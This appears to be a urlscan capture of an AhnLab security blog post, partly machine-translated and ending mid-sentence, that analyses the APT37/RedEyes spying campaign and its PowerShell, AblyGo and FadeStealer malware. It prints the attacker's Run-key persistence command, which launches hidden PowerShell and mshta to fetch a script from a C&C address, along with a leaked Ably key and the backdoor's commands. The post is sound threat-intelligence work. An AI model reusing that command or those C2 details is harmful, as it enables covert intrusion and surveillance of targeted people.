asec-ahnlab-com.translate.goog
Open in
urlscan Pro
142.250.185.129
Public Scan
URL:
https://asec-ahnlab-com.translate.goog/ko/53851/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=wapp
Submission: On June 15 via manual from PL — Scanned from PL
Submission: On June 15 via manual from PL — Scanned from PL
Form analysis
6 forms found in the DOMPOST https://asec.ahnlab.com/wp-admin/admin-ajax.php?action=wpdAddSubscription
<form action="https://asec.ahnlab.com/wp-admin/admin-ajax.php?action=wpdAddSubscription" method="post" id="wpdiscuz-subscribe-form">
<div class="wpdiscuz-subscribe-form-intro"> Notify of </div>
<div class="wpdiscuz-subscribe-form-option" style="width:40%;"> <select class="wpdiscuz_select" name="wpdiscuzSubscriptionType">
<option value="post">new follow-up comments</option>
<option value="all_comment">new replies to my comments</option>
</select>
</div>
<div class="wpdiscuz-item wpdiscuz-subscribe-form-email">
<input class="email" type="email" name="wpdiscuzSubscriptionEmail" required="" value="" placeholder="Email">
</div>
<div class="wpdiscuz-subscribe-form-button">
<input id="wpdiscuz_subscription_button" class="wpd-prim-button wpd_not_clicked" type="submit" value="›" name="wpdiscuz_subscription_button">
</div>
<input type="hidden" id="wpdiscuz_subscribe_form_nonce" name="wpdiscuz_subscribe_form_nonce" value="878d1ecaf4">
<input type="hidden" name="_wp_http_referer" value="/ko/53851/">
</form>
POST
<form method="post" enctype="multipart/form-data" data-uploading="false" class="wpd_comm_form wpd_main_comm_form">
<div class="wpd-field-comment">
<div class="wpdiscuz-item wc-field-textarea">
<div class="wpdiscuz-textarea-wrap ">
<div class="wpd-avatar">
<img alt="guest" src="https://secure.gravatar.com/avatar/?s=56&d=identicon&r=g" class="avatar avatar-56 photo avatar-default jetpack-lazy-image" height="56" width="56" decoding="async"
data-lazy-srcset="https://secure.gravatar.com/avatar/?s=112&d=identicon&r=g 2x" data-lazy-src="https://secure.gravatar.com/avatar/?s=56&is-pending-load=1#038;d=identicon&r=g"
srcset="data:image/gif;base64?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=wapp,https://asec-ahnlab-com.translate.goog/ko/53851/R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=wapp">
<noscript>
<img data-lazy-fallback="1" alt="guest" src="https://secure.gravatar.com/avatar/?s=56&d=identicon&r=g"
srcset="https://translate.google.com/website?sl=auto&tl=en&hl=en-US&client=webapp&u=https://secure.gravatar.com/avatar/?s%3D112%26d%3Didenticon%26r%3Dg 2x" class="avatar avatar-56 photo avatar-default" height="56"
width="56" loading="lazy" decoding="async">
</noscript>
</div>
<div id="wpd-editor-wraper-0_0" style="">
<label style="display: none;" for="wc-textarea-0_0">Label</label>
<div id="wpd-editor-0_0" class="ql-container ql-snow">
<div class="ql-editor ql-blank" data-gramm="false" contenteditable="true" data-placeholder="Join the discussion">
<p><br></p>
</div>
<div class="ql-clipboard" contenteditable="true" tabindex="-1"></div>
<div class="ql-tooltip ql-hidden"><a class="ql-preview" target="_blank" href="about:blank"></a><input type="text" data-formula="e=mc^2" data-link="https://example.com"
data-video="Embed URL"><a class="ql-action"></a><a class="ql-remove"></a></div>
<div class="ql-texteditor"><textarea id="wc-textarea-0_0" name="wc_comment" class="wc_comment wpd-field" style="display: none;"></textarea></div>
</div>
<div id="wpd-editor-toolbar-0_0" class="ql-toolbar ql-snow"> <button title="Bold" class="ql-bold" type="button"><svg viewBox="0 0 18 18">
<path class="ql-stroke" d="M5,4H9.5A2.5,2.5,0,0,1,12,6.5v0A2.5,2.5,0,0,1,9.5,9H5A0,0,0,0,1,5,9V4A0,0,0,0,1,5,4Z"></path>
<path class="ql-stroke" d="M5,9h5.5A2.5,2.5,0,0,1,13,11.5v0A2.5,2.5,0,0,1,10.5,14H5a0,0,0,0,1,0,0V9A0,0,0,0,1,5,9Z"></path>
</svg></button> <button title="Italic" class="ql-italic" type="button"><svg viewBox="0 0 18 18">
<line class="ql-stroke" x1="7" x2="13" y1="4" y2="4"></line>
<line class="ql-stroke" x1="5" x2="11" y1="14" y2="14"></line>
<line class="ql-stroke" x1="8" x2="10" y1="14" y2="4"></line>
</svg></button> <button title="Underline" class="ql-underline" type="button"><svg viewBox="0 0 18 18">
<path class="ql-stroke" d="M5,3V9a4.012,4.012,0,0,0,4,4H9a4.012,4.012,0,0,0,4-4V3"></path>
<rect class="ql-fill" height="1" rx="0.5" ry="0.5" width="12" x="3" y="15"></rect>
</svg></button> <button title="Strike" class="ql-strike" type="button"><svg viewBox="0 0 18 18">
<line class="ql-stroke ql-thin" x1="15.5" x2="2.5" y1="8.5" y2="9.5"></line>
<path class="ql-fill" d="M9.007,8C6.542,7.791,6,7.519,6,6.5,6,5.792,7.283,5,9,5c1.571,0,2.765.679,2.969,1.309a1,1,0,0,0,1.9-.617C13.356,4.106,11.354,3,9,3,6.2,3,4,4.538,4,6.5a3.2,3.2,0,0,0,.5,1.843Z"></path>
<path class="ql-fill" d="M8.984,10C11.457,10.208,12,10.479,12,11.5c0,0.708-1.283,1.5-3,1.5-1.571,0-2.765-.679-2.969-1.309a1,1,0,1,0-1.9.617C4.644,13.894,6.646,15,9,15c2.8,0,5-1.538,5-3.5a3.2,3.2,0,0,0-.5-1.843Z"></path>
</svg></button> <button title="Ordered List" class="ql-list" value="ordered" type="button"><svg viewBox="0 0 18 18">
<line class="ql-stroke" x1="7" x2="15" y1="4" y2="4"></line>
<line class="ql-stroke" x1="7" x2="15" y1="9" y2="9"></line>
<line class="ql-stroke" x1="7" x2="15" y1="14" y2="14"></line>
<line class="ql-stroke ql-thin" x1="2.5" x2="4.5" y1="5.5" y2="5.5"></line>
<path class="ql-fill" d="M3.5,6A0.5,0.5,0,0,1,3,5.5V3.085l-0.276.138A0.5,0.5,0,0,1,2.053,3c-0.124-.247-0.023-0.324.224-0.447l1-.5A0.5,0.5,0,0,1,4,2.5v3A0.5,0.5,0,0,1,3.5,6Z"></path>
<path class="ql-stroke ql-thin" d="M4.5,10.5h-2c0-.234,1.85-1.076,1.85-2.234A0.959,0.959,0,0,0,2.5,8.156"></path>
<path class="ql-stroke ql-thin" d="M2.5,14.846a0.959,0.959,0,0,0,1.85-.109A0.7,0.7,0,0,0,3.75,14a0.688,0.688,0,0,0,.6-0.736,0.959,0.959,0,0,0-1.85-.109"></path>
</svg></button> <button title="Unordered List" class="ql-list" value="bullet" type="button"><svg viewBox="0 0 18 18">
<line class="ql-stroke" x1="6" x2="15" y1="4" y2="4"></line>
<line class="ql-stroke" x1="6" x2="15" y1="9" y2="9"></line>
<line class="ql-stroke" x1="6" x2="15" y1="14" y2="14"></line>
<line class="ql-stroke" x1="3" x2="3" y1="4" y2="4"></line>
<line class="ql-stroke" x1="3" x2="3" y1="9" y2="9"></line>
<line class="ql-stroke" x1="3" x2="3" y1="14" y2="14"></line>
</svg></button> <button title="Blockquote" class="ql-blockquote" type="button"><svg viewBox="0 0 18 18">
<rect class="ql-fill ql-stroke" height="3" width="3" x="4" y="5"></rect>
<rect class="ql-fill ql-stroke" height="3" width="3" x="11" y="5"></rect>
<path class="ql-even ql-fill ql-stroke" d="M7,8c0,4.031-3,5-3,5"></path>
<path class="ql-even ql-fill ql-stroke" d="M14,8c0,4.031-3,5-3,5"></path>
</svg></button> <button title="Code Block" class="ql-code-block" type="button"><svg viewBox="0 0 18 18">
<polyline class="ql-even ql-stroke" points="5 7 3 9 5 11"></polyline>
<polyline class="ql-even ql-stroke" points="13 7 15 9 13 11"></polyline>
<line class="ql-stroke" x1="10" x2="8" y1="5" y2="13"></line>
</svg></button> <button title="Link" class="ql-link" type="button"><svg viewBox="0 0 18 18">
<line class="ql-stroke" x1="7" x2="11" y1="7" y2="11"></line>
<path class="ql-even ql-stroke" d="M8.9,4.577a3.476,3.476,0,0,1,.36,4.679A3.476,3.476,0,0,1,4.577,8.9C3.185,7.5,2.035,6.4,4.217,4.217S7.5,3.185,8.9,4.577Z"></path>
<path class="ql-even ql-stroke" d="M13.423,9.1a3.476,3.476,0,0,0-4.679-.36,3.476,3.476,0,0,0,.36,4.679c1.392,1.392,2.5,2.542,4.679.36S14.815,10.5,13.423,9.1Z"></path>
</svg></button> <button title="Source Code" class="ql-sourcecode" data-wpde_button_name="sourcecode" type="button">{}</button> <button title="spoiler" class="ql-spoiler" data-wpde_button_name="spoiler" type="button">[+]</button>
<div class="wpd-editor-buttons-right"> <span class="wmu-upload-wrap" wpd-tooltip="Attach an image to this comment" wpd-tooltip-position="left"><label class="wmu-add"><i class="far fa-image"></i><input style="display:none;"
class="wmu-add-files" type="file" name="wmu_files[]" accept="image/*"></label></span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="wpd-form-foot" style="display:none;">
<div class="wpdiscuz-textarea-foot">
<div class="wpdiscuz-button-actions">
<div class="wmu-action-wrap">
<div class="wmu-tabs wmu-images-tab wmu-hide"></div>
</div>
</div>
</div>
<div class="wpd-form-row">
<div class="wpd-form-col-full">
<div class="wpdiscuz-item wc_name-wrapper wpd-has-icon">
<div class="wpd-field-icon">
<i class="fas fa-user"></i>
</div>
<input id="wc_name-0_0" value="" required="" aria-required="true" class="wc_name wpd-field" type="text" name="wc_name" placeholder="이름*" maxlength="50" pattern=".{3,50}" title=""> <label for="wc_name-0_0" class="wpdlb">이름*</label>
</div>
<div class="wpdiscuz-item wc_email-wrapper wpd-has-icon">
<div class="wpd-field-icon">
<i class="fas fa-at"></i>
</div>
<input id="wc_email-0_0" value="" class="wc_email wpd-field" type="email" name="wc_email" placeholder="이메일"> <label for="wc_email-0_0" class="wpdlb">이메일</label>
</div>
<div class="wpdiscuz-item wc_website-wrapper wpd-has-icon">
<div class="wpd-field-icon">
<i class="fas fa-link"></i>
</div>
<input id="wc_website-0_0" value="" class="wc_website wpd-field" type="text" name="wc_website" placeholder="웹사이트"> <label for="wc_website-0_0" class="wpdlb">웹사이트</label>
</div>
</div>
<div class="clearfix"></div>
</div>
<div class="wpd-form-row">
<div class="wpd-form-col-full">
<p>[필수] 개인정보 수집 및 이용 동의</p>
<div style="border: 1px solid #DDDDDD">
<ol style="color: #777777; margin: 10px">
<li>목적 : 댓글 등록 사항에 따른 연락처 정보 확인 및 신규 글 게시 사항 전달 문의 사항 대응 </li>
<li>항목 : 이름(기관)명, 메일주소</li>
<li>보유기간 : 3개월 간 보관하며, 이후 해당 정보를 지체 없이 파기합니다.</li>
</ol>
</div>
<div class="wpdiscuz-item wpd-field-group wpd-field-checkbox wpd-field-agreement wpd-field-single custom_field_5fbf8d7659c10-wrapper wpd-required-group">
<div class="wpd-field-group-title">
<div class="wpd-item">
<input id="custom_field_5fbf8d7659c10-1_0_0" type="checkbox" name="custom_field_5fbf8d7659c10" value="1" class="custom_field_5fbf8d7659c10 wpd-field wpd-agreement-checkbox " required=""> <label class="wpd-field-label wpd-cursor-pointer"
for="custom_field_5fbf8d7659c10-1_0_0">개인정보 수집 및 이용에 동의합니다.</label>
</div>
</div>
</div>
<div class="wc-field-submit"> <label class="wpd_label" wpd-tooltip="Notify of new replies to this comment" style="display: none;"> <input id="wc_notification_new_comment-0_0" class="wc_notification_new_comment-0_0 wpd_label__checkbox"
value="comment" type="checkbox" name="wpdiscuz_notification_type"> <span class="wpd_label__text"> <span class="wpd_label__check"> <i class="fas fa-bell wpdicon wpdicon-on"></i> <i class="fas fa-bell-slash wpdicon wpdicon-off"></i>
</span> </span> </label>
<input id="wpd-field-submit-0_0" class="wc_comm_submit wpd_not_clicked wpd-prim-button" type="submit" name="submit" value="등록">
</div>
</div>
<div class="clearfix"></div>
</div>
</div>
<input type="hidden" class="wpdiscuz_unique_id" value="0_0" name="wpdiscuz_unique_id">
<p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="199e567111"></p>
<p style="display: none !important;"><label>Δ<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="ak_js" value="1686828500782">
<script>
document.getElementById("ak_js_1").setAttribute("value", (new Date()).getTime());
</script>
</p>
</form>
POST
<form method="post" enctype="multipart/form-data" data-uploading="false" class="wpd_comm_form wpd-secondary-form-wrapper">
<div class="wpd-field-comment">
<div class="wpdiscuz-item wc-field-textarea">
<div class="wpdiscuz-textarea-wrap ">
<div class="wpd-avatar">
<img alt="guest" src="https://secure.gravatar.com/avatar/?s=56&d=identicon&r=g" class="avatar avatar-56 photo avatar-default jetpack-lazy-image" height="56" width="56" decoding="async"
data-lazy-srcset="https://secure.gravatar.com/avatar/?s=112&d=identicon&r=g 2x" data-lazy-src="https://secure.gravatar.com/avatar/?s=56&is-pending-load=1#038;d=identicon&r=g"
srcset="data:image/gif;base64?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=wapp,https://asec-ahnlab-com.translate.goog/ko/53851/R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US&_x_tr_pto=wapp">
<noscript>
<img data-lazy-fallback="1" alt="guest" src="https://secure.gravatar.com/avatar/?s=56&d=identicon&r=g"
srcset="https://translate.google.com/website?sl=auto&tl=en&hl=en-US&client=webapp&u=https://secure.gravatar.com/avatar/?s%3D112%26d%3Didenticon%26r%3Dg 2x" class="avatar avatar-56 photo avatar-default" height="56"
width="56" loading="lazy" decoding="async">
</noscript>
</div>
<div id="wpd-editor-wraper-wpdiscuzuniqueid" style="display: none;">
<div id="wpd-editor-char-counter-wpdiscuzuniqueid" class="wpd-editor-char-counter"></div> <label style="display: none;" for="wc-textarea-wpdiscuzuniqueid">Label</label> <textarea id="wc-textarea-wpdiscuzuniqueid" name="wc_comment"
class="wc_comment wpd-field"></textarea>
<div id="wpd-editor-wpdiscuzuniqueid"></div>
<div id="wpd-editor-toolbar-wpdiscuzuniqueid"> <button title="Bold" class="ql-bold"></button> <button title="Italic" class="ql-italic"></button> <button title="Underline" class="ql-underline"></button> <button title="Strike"
class="ql-strike"></button> <button title="Ordered List" class="ql-list" value="ordered"></button> <button title="Unordered List" class="ql-list" value="bullet"></button> <button title="Blockquote" class="ql-blockquote"></button>
<button title="Code Block" class="ql-code-block"></button> <button title="Link" class="ql-link"></button> <button title="Source Code" class="ql-sourcecode" data-wpde_button_name="sourcecode">{}</button> <button title="Spoiler"
class="ql-spoiler" data-wpde_button_name="spoiler">[+]</button>
<div class="wpd-editor-buttons-right"> <span class="wmu-upload-wrap" wpd-tooltip="Attach an image to this comment" wpd-tooltip-position="left"><label class="wmu-add"><i class="far fa-image"></i><input style="display:none;"
class="wmu-add-files" type="file" name="wmu_files[]" accept="image/*"></label></span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="wpd-form-foot" style="display:none;">
<div class="wpdiscuz-textarea-foot">
<div class="wpdiscuz-button-actions">
<div class="wmu-action-wrap">
<div class="wmu-tabs wmu-images-tab wmu-hide"></div>
</div>
</div>
</div>
<div class="wpd-form-row">
<div class="wpd-form-col-full">
<div class="wpdiscuz-item wc_name-wrapper wpd-has-icon">
<div class="wpd-field-icon">
<i class="fas fa-user"></i>
</div>
<input id="wc_name-wpdiscuzuniqueid" value="" required="" aria-required="true" class="wc_name wpd-field" type="text" name="wc_name" placeholder="이름*" maxlength="50" pattern=".{3,50}" title=""> <label for="wc_name-wpdiscuzuniqueid"
class="wpdlb">이름*</label>
</div>
<div class="wpdiscuz-item wc_email-wrapper wpd-has-icon">
<div class="wpd-field-icon">
<i class="fas fa-at"></i>
</div>
<input id="wc_email-wpdiscuzuniqueid" value="" class="wc_email wpd-field" type="email" name="wc_email" placeholder="이메일"> <label for="wc_email-wpdiscuzuniqueid" class="wpdlb">이메일</label>
</div>
<div class="wpdiscuz-item wc_website-wrapper wpd-has-icon">
<div class="wpd-field-icon">
<i class="fas fa-link"></i>
</div>
<input id="wc_website-wpdiscuzuniqueid" value="" class="wc_website wpd-field" type="text" name="wc_website" placeholder="웹사이트"> <label for="wc_website-wpdiscuzuniqueid" class="wpdlb">웹사이트</label>
</div>
</div>
<div class="clearfix"></div>
</div>
<div class="wpd-form-row">
<div class="wpd-form-col-full">
<p>[필수] 개인정보 수집 및 이용 동의</p>
<div style="border: 1px solid #DDDDDD">
<ol style="color: #777777; margin: 10px">
<li>목적 : 댓글 등록 사항에 따른 연락처 정보 확인 및 신규 글 게시 사항 전달 문의 사항 대응 </li>
<li>항목 : 이름(기관)명, 메일주소</li>
<li>보유기간 : 3개월 간 보관하며, 이후 해당 정보를 지체 없이 파기합니다.</li>
</ol>
</div>
<div class="wpdiscuz-item wpd-field-group wpd-field-checkbox wpd-field-agreement wpd-field-single custom_field_5fbf8d7659c10-wrapper wpd-required-group">
<div class="wpd-field-group-title">
<div class="wpd-item">
<input id="custom_field_5fbf8d7659c10-1_wpdiscuzuniqueid" type="checkbox" name="custom_field_5fbf8d7659c10" value="1" class="custom_field_5fbf8d7659c10 wpd-field wpd-agreement-checkbox " required=""> <label
class="wpd-field-label wpd-cursor-pointer" for="custom_field_5fbf8d7659c10-1_wpdiscuzuniqueid">개인정보 수집 및 이용에 동의합니다.</label>
</div>
</div>
</div>
<div class="wc-field-submit"> <label class="wpd_label" wpd-tooltip="Notify of new replies to this comment" style="display: none;"> <input id="wc_notification_new_comment-wpdiscuzuniqueid"
class="wc_notification_new_comment-wpdiscuzuniqueid wpd_label__checkbox" value="comment" type="checkbox" name="wpdiscuz_notification_type"> <span class="wpd_label__text"> <span class="wpd_label__check">
<i class="fas fa-bell wpdicon wpdicon-on"></i> <i class="fas fa-bell-slash wpdicon wpdicon-off"></i> </span> </span> </label>
<input id="wpd-field-submit-wpdiscuzuniqueid" class="wc_comm_submit wpd_not_clicked wpd-prim-button" type="submit" name="submit" value="등록">
</div>
</div>
<div class="clearfix"></div>
</div>
</div>
<input type="hidden" class="wpdiscuz_unique_id" value="wpdiscuzuniqueid" name="wpdiscuz_unique_id">
<p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="199e567111"></p>
<p style="display: none !important;"><label>Δ<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_2" name="ak_js" value="1686828500783">
<script>
document.getElementById("ak_js_2").setAttribute("value", (new Date()).getTime());
</script>
</p>
</form>
GET https://asec.ahnlab.com/ko/
<form method="get" class="searchform" action="https://asec.ahnlab.com/ko/">
<input type="text" value="" name="s" data-swplive="true" data-swpengine="default" data-swpconfig="default" class="searchfield" placeholder="Search..." autocomplete="off" aria-owns="searchwp_live_search_results_648af5d5cec39"
aria-autocomplete="both" aria-label="When autocomplete results are available use up and down arrows to review and enter to go to the desired page. Touch device users, explore by touch or with swipe gestures."> <button class="searchsubmit">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;"></font>
</font>
</button>
</form>
<form id="jp-carousel-comment-form"> <label for="jp-carousel-comment-form-comment-field" class="screen-reader-text">댓글 달기...</label> <textarea name="comment" class="jp-carousel-comment-form-field jp-carousel-comment-form-textarea"
id="jp-carousel-comment-form-comment-field" placeholder="댓글 달기..."></textarea>
<div id="jp-carousel-comment-form-submit-and-info-wrapper">
<div id="jp-carousel-comment-form-commenting-as">
<fieldset> <label for="jp-carousel-comment-form-email-field">이메일</label>
<input type="text" name="email" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-email-field">
</fieldset>
<fieldset> <label for="jp-carousel-comment-form-author-field">이름</label>
<input type="text" name="author" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-author-field">
</fieldset>
<fieldset> <label for="jp-carousel-comment-form-url-field">웹사이트</label>
<input type="text" name="url" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-url-field">
</fieldset>
</div>
<input type="submit" name="submit" class="jp-carousel-comment-form-button" id="jp-carousel-comment-form-button-submit" value="댓글 달기">
</div>
</form>
POST //translate.googleapis.com/translate_voting?client=wt_lib
<form id="goog-gt-votingForm" action="//translate.googleapis.com/translate_voting?client=wt_lib" method="post" target="votingFrame" class="VIpgJd-yAWNEb-hvhgNd-aXYTce"><input type="text" name="sl" id="goog-gt-votingInputSrcLang"><input type="text"
name="tl" id="goog-gt-votingInputTrgLang"><input type="text" name="query" id="goog-gt-votingInputSrcText"><input type="text" name="gtrans" id="goog-gt-votingInputTrgText"><input type="text" name="vote" id="goog-gt-votingInputVote"></form>
Text Content
* Malicious code information * Ahnlab detection * threat statistics * action guide * AhnLab MenuMalicious code informationAhnlab detectionthreat statisticsaction guideAhnLab Posted By muhan , June 12, 2023 REDEYES GROUP WIRETAPPING INDIVIDUALS (APT37) 1. OVERVIEW The RedEyes (also known as APT37, ScarCruft, Reaper) group is a state-backed APT organization that primarily targets individuals, including North Korean defectors, human rights activists, and university professors. It is known that their mission is to monitor the daily lives of certain people. The AhnLab Security Emergengy response Center (ASEC) confirmed that in May 2023, the RedEyes group distributed Golang backdoors that abused the Ably platform and used new previously unknown information leaking malware, including microphone eavesdropping functions. *ABLY[1]is a platform for real-time data transfer and messaging, and can perform Pub/Sub messaging, push notifications, real-time queries, and state synchronization. The attacker delivered the command to the Golang backdoor using the Ably service, and stored the API key value required for command communication in the Github repository. The corresponding API key value is required for communication with the attacker's channel, and anyone who knows the key value can subscribe. Therefore, at the time of analysis, we were able to identify some commands used by the attacker. Through this blog, ASEC intends to share the TTPs (Tactics, Techniques, and Procedures) used by the attacker at each stage of the attack, from the initial infiltration technique used by the RedEyes group to monitor individuals in May 2023 to privilege escalation, command control, and exfiltration. do. [Figure 1] RedEyes attack flow 2. ANALYSIS 2.1. INITIAL ACCESS The attacker performed the initial infiltration using a CHM (Compiled HTML Help File) file. last marchThe case mentioned in the post “Malware distributing disguised as a password file” [2]It is presumed that the attack target was accessed through a spear phishing email by attaching a normal encrypted document and CHM malware disguised as a password file. In other words, the attacker compressed the encrypted normal document and the CHM malware together and induced the malicious code to run as if the CHM file execution was necessary to read the encrypted document. [Figure 2] Decoy Document and Malicious CHM File When the user executes the CHM file, the password information can be checked as shown in [Figure 3], but at the same time, MSHTA.exe is executed by the CHM internal script code in [Figure 4], and the malicious script is also executed from the attacker's C&C server. [Figure 3] CHM file contents [Figure 4] CHM internal script code The malicious script secured at the time of analysis was confirmed to be a PowerShell malware that has a backdoor function and maintains persistence using an auto-execution registry key. [그림 5] 공격자 서버로 부터 다운로드된 파워쉘 스크립트(Backdoor) 지난 2023년 2월 스테가노그래피를 이용한 HWP 악성코드 게시글[3]에서 당시 확인된 파워쉘 악성코드는 CMD.exe를 이용한 공격자 명령 수행 및 결과 전송, 지속성을 위한 레지스트리 RUN 키 등록을 하는 비교적 단순한 기능을 하는 악성코드였다. 그러나 이번에 확보한 파워쉘 악성코드는 지속성을 위한 레지스트리 키 등록 기능은 동일하나, CMD.exe를 사용하지 않고 C&C 서버의 명령에 따라 다른 행위를 수행하는 파워쉘 백도어 악성코드가 확인되었다. 기능은 아래 [표 1]과 같다. 명령 기능 fileinfo 특정 경로의 파일 목록 및 정보(이름, 크기, 수정한 시각)를 CSV 형태로 저장한 후 C&C 서버에 이를 전송 및 삭제 기능 수행 dir 특정 경로의 폴더를 압축하여 이를 C&C 서버에 전송하고 압축 파일 삭제 기능 수행 file 특정 파일 C&C 서버에 전송 (업로드) down 특정 경로에 파일 다운로드 regedit 레지스트리 편집 기능 task 10분 간격으로 반복 실행하는 작업 스케줄 등록 기능 zip 특정 경로 압축 파일 해제 기능 rename 특정 파일 이름 변경 기능 del 특정 경로 파일 삭제 기능 [표 1] 파워쉘 백도어 기능 2.2. 지속성 (PERSISTENCE) MSHTA.exe에 의해 실행된 파워쉘 악성 스크립트는 아래 명령을 통해 자동 실행 레지스트리 키를 등록하여 시스템 재 부팅시에도 공격자 C&C 서버로부터 악성 스크립트가 실행되도록 한다. * New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name kcJuWlrQO -Value ‘c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 569782 2.2.2.2 || mshta hxxp://172.93.181[.]249/control/html/1.html’ -PropertyType String -Force; 2.3. 명령 제어 (COMMAND AND CONTROL) 공격자는 Go 언어 기반의 Ably 플랫폼 서비스를 이용하는 백도어 악성코드를 통해 권한 상승, 정보 유출 악성코드 유포 등 이후 공격 단계를 수행하였다. Ably 플랫폼의 특징은 실시간으로 데이터를 전송할 수 있고, 채널의 인증 키를 알 경우 누구나 채널에 접속하여 메시지를 받아볼 수 있다. ASEC은 분석 당시 공격자 채널의 인증 키를 확보하여 공격 대상에게 전달하는 일부 명령을 확인할 수 있었다. 명령 전달 시각 실행 명령 2023-05-09 10:16:16 forfiles /p c:\programdata 2023-05-09 10:49:47 ren c:\programdata\wallpaper-river.jpg wallpaper-river.exe 2023-05-09 10:49:53 forfiles /p c:\programdata 2023-05-09 10:50:09 wmic OS get Caption,CSDVersion,OSArchitecture,Version 2023-05-09 10:50:35 c:\programdata\wallpaper-river.exe [표 2] AblyGo 백도어에 의해 실행된 명령어 RedEyes 그룹이 명령 전달을 위해 Ably를 사용하는 것은 KISA[4], Sekoia[5] 보고서를 통해 알려진 바 있다. 당시 확인된 Ably 기반의 Go 백도어는 [그림 6]과 같이 바이너리 내부에 인증 키가 존재하였으나, 이번에 확보한 백도어는 인증 키를 Github 저장소에 저장하여 동적으로 인증 키를 받아 채널 통신을 수행하였다. 이는 Ably 채널 인증키를 수시로 변경하여 공격 대상 이외의 제3자가 채널 메시지를 구독하기 어렵게 하기 위한 의도로 보인다. [그림 6] 하드코딩된 인증 키 정보 (과거 AblyGo 백도어) [그림 7] Github를 이용한 인증 키 조회 기능 (AblyGo 백도어 변형) (Github 주소 : https://raw.githubusercontent.com/thanks023/hello/main/ReadMe.txt) Ably 채널 인증키를 받아오기 위해 Go 백도어는 바이너리 내부에 존재하는 Github 주소에 접속하여 “<>BASE64 인코딩된 채널 인증키” 형식으로 되어있는 데이터를 받아온다. 이와 같은 방식은 2023년 3월 zscaler에서 공개한 “The Unintentional Leak: A glimpse into the attack vectors of APT37”[6]의 [Figure 4]에서도 확인할 수 있다. 해당 게시글에 따르면, 공격자는 BASE64로 인코딩된 문자열을 자주 커밋하였다고 한다. [Figure 4]에 명시된 문자열을 BASE64 복호화한 결과, Ably 인증 키 값으로 확인되었다. [Github 커밋 문자열] <>S3dITXZ3LmJvaUMzdzpqR2JmMDd3VW9iN3RGanoxM1dxRFE4WJRsVFBDbVBQdldzb3hZYjFxc21r [Github 문자열 복호화] <>KwHMvw.boiC3w:jGbf07wUob7tFjz13WqDQ8X.lTPCmPPvWsoxYb1qsmk (Ably 인증 키) AblyGo 백도어가 피해 PC에서 실행되면 Github에서 “<>인증 키”를 받아와 [그림 7]의 코드 부분과 같이 “<>”를 파싱하여 뒷 문자열을 BASE64 디코딩한다. 그리고 디코딩한 인증 키값을 통해 공격자의 Ably 채널에 접속하여 “UP”, “DOWN” 이라는 메시지 이름을 송/수신한다. 송/수신 데이터 형식과 기능은 아래 [표 3]과 같다. 메시지 이름 (기능) 데이터 형식 UP (HELLO 전송 & CMD 명령 결과 업로드) {“Id”:”컴퓨터 이름”,”Textdata”:”SEVMTw==”} DOWN (CMD 명령 전달) {“Id”:”컴퓨터 이름”,”Textdata”:”SEVMTw==”} [표 3] AblyGo 백도어의 메시지 송/수신 형식 및 기능 피해 PC에서 실행된 AblyGo는 약 2~5분 간격으로 현재 PC가 공격자 Ably 채널에 연결되었음을 나타내는 “HELLO” 데이터를 BASE64로 인코딩하여 전송한다. (메시지 이름 : UP) 그리고 공격자는 Ably 채널을 모니터링하고 있다가 피해 PC ID(컴퓨터 이름)를 식별하고 BASE64로 명령을 인코딩하여 다시 전달한다. (메시지 이름 : DOWN) C&C 서버에서 전달 받은 명령 수행은 모두 CMD.exe를 통해 이루어지며 CMD 명령 결과는 다시 “UP” 메시지를 통해 채널로 전송한다. 즉, UP은 공격자 입장에서 피해 PC를 식별하고 명령에 대한 결과 값을 받는 메시지이고 DOWN은 명령을 내릴 때 사용하는 메시지이다. 2.4. 권한 상승 (PRIVILEGE ESCALATION) 명령 제어 이후 공격자는 알려진 권한 상승 기법인 T1546.015 (Event Triggered Execution: Component Object Model Hijacking)을 사용하여 추가 악성코드를 실행하였다. 아래 [그림 8] 레지스트리 키에 등록된 악성코드는 확보하지 못했다. [그림 8] 권한 상승 기법 (T1546.015) 2.5. 유출 (EXFILTRATION) 공격자는 AblyGo 백도어와 MSHTA, 파워쉘을 이용하여 최종적으로 정보 유출 악성코드를 파일리스 형태로 실행하였다. [그림 9] FadeStealer 실행 흐름 [그림 10] 안랩 EDR(Endpoint Detection Response) 탐지 화면 (프로세스 트리 구조) 실행된 정보 유출 악성코드는 PC 화면 스크린 샷 캡쳐, 이동식 미디어 장치 & 스마트폰 데이터 유출, 키로깅 및 도청 기능까지 포함되어 있었다. [그림 11] FadeStealer에 포함된 도청 기능 ASEC은 새롭게 확인된 이 악성코드에 대해 유출 데이터가 저장되는 폴더 이름의 특징을 기반으로 FadeStealer(Fade as a stealer)로 명명하였다. FadeStealer는 %temp% 경로에 유출 데이터 별로 각각 폴더를 생성하여 저장하였다. 그리고 파일에 내장된 RAR 압축 유틸리티를 통해 비밀번호를 사용하여 30분 간격으로 피해 PC에서 유출한 데이터를 압축한 뒤 공격자 C&C 서버에 파일을 전송하였다. 이때 압축 파일의 크기가 1GB를 넘을 경우 볼륨을 최대 1GB로 지정하여 분할 압축 기능을 통해 